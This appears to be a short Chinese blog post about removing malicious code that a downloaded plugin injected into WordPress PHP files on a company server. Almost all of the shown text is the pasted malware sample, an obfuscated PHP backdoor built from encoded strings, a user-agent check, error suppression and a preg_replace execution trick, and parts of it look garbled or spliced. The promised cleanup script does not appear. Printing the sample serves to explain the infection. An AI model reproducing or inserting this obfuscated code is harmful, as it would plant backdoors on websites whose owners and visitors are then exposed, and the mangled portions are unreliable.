PHP實現清除wordpress里惡意代碼

2020-03-22 18:10:04

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公司一些wordpress網站由于下載的插件存在惡意代碼，導致整個服務器所有網站PHP文件都存在惡意代碼，就寫了個簡單的腳本清除。惡意代碼示例復制代碼代碼如下:
php if(!isset($GLOBALS["/x61/156/x75/156/x61"])) { $ua=strtolower($_SERVER["/x48/124/x54/120/x5f/125/x53/105/x52/137/x41/107/x45/116/x54"]); if ((! strstr($ua,"/x6d/163/x69/145")) and (! strstr($ua,"/x72/166/x3a/61/x31"))) $GLOBALS["/x61/156/x75/156/x61"]=1; } php $bssaiikhvn = '61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y3x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x6x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x78! !#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo: :iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy #]D6]281L1#%x5c%x782f#M5]DgP5]D6# %x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg! !#]y81]273]y #]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df# %x5c%x7x7827jsv%x5c%x78256 C ^#zsfvrx5c%x7827 %x5c%x787fw6*%x5c%x78825)!gj! **2-4-bubE{h%x5c%x7825)sutcvt)esp hmg%x5c%x7825! 12 j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z! 2 !gps)%x5c%x7825j 1 %x5c%x7825j=6[%x5c%x7825ww2! 5b: !%x5c%x7825c: %x5c%x7825s:%x5cw #]y74]273]y76]252]y85]256]y6g]257]y8! **3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6 *127-UVPFNJU,6 *27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A: :8:|:7#6ufs!|ftmf!~ **9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824 !%x5c%x7825mm! !#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824! !tus%x5x782fq%x5c%x7825 2q%x5c%x7825 #g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6 #o]o]Y%x5c%x78257;utpI#7 %x5c%x782f7rfs%x5c%x78256 #o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256 pd%x5c%x7825w6Z6 .2%x5c%x7860hA%x5c%x, NULL); }ovg ~%x5c%x7824 !%x5c%x7825o:! !%x5c%x7824c%x7825c! !%x5c%x7825i%x5c%x785c2^ !Ce*[!%x5c%x7825cI#64y]552]e7y]# n%x5c%x7825 #3722! !bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f *XAZASV *w%x5c%x7825)ppde u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1 hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f 5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878: ##: :h%x5c%x7825: 157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z ^2%x5c%x785c2b%x5c%x7825! !2p%x5c2fh%x5c%x7825: **#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#* %x5c%x7825nfd %x5c%x7825fdy Cb*[%x5c%x7825h!7825 U #16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6 %x5c%x787fw6*CW&)7gj6 .[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825 #762]67y]562]38y]572]48y]# m%x5c%x5c%x7825! ***f%x5c%x78%x7825w6Z6 .5%x5c%x7860hA%x5c%x7827pd%x5c%x78256 pd%x5c%x7825w6Z0un qp%x5c%x7825!|Z~! ##! !2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b! !%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A! !{e%x5c%7827pd%x5c%x78256 C%x5c%x7827pd%x5c%x78256|6.7eu{x78256 %x5c%x787fw6*%x5c%x787f_%x5c%x7825Z #opo# b%x5c%x7825!*## X)!gjZ #opo# b%x5c%x7825!**X)ufttj%x7825c: 1 %x5c%x7825b: 1 !gps)%x5c%x782x5c%x7824*!|!%x5c%x7824-%x5c%x78227K6 %x5c%x787fw6*3qj%x5c%x78257 %x5c%x782272qj%x5c%x7825)7gj6 **2qj% gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f! 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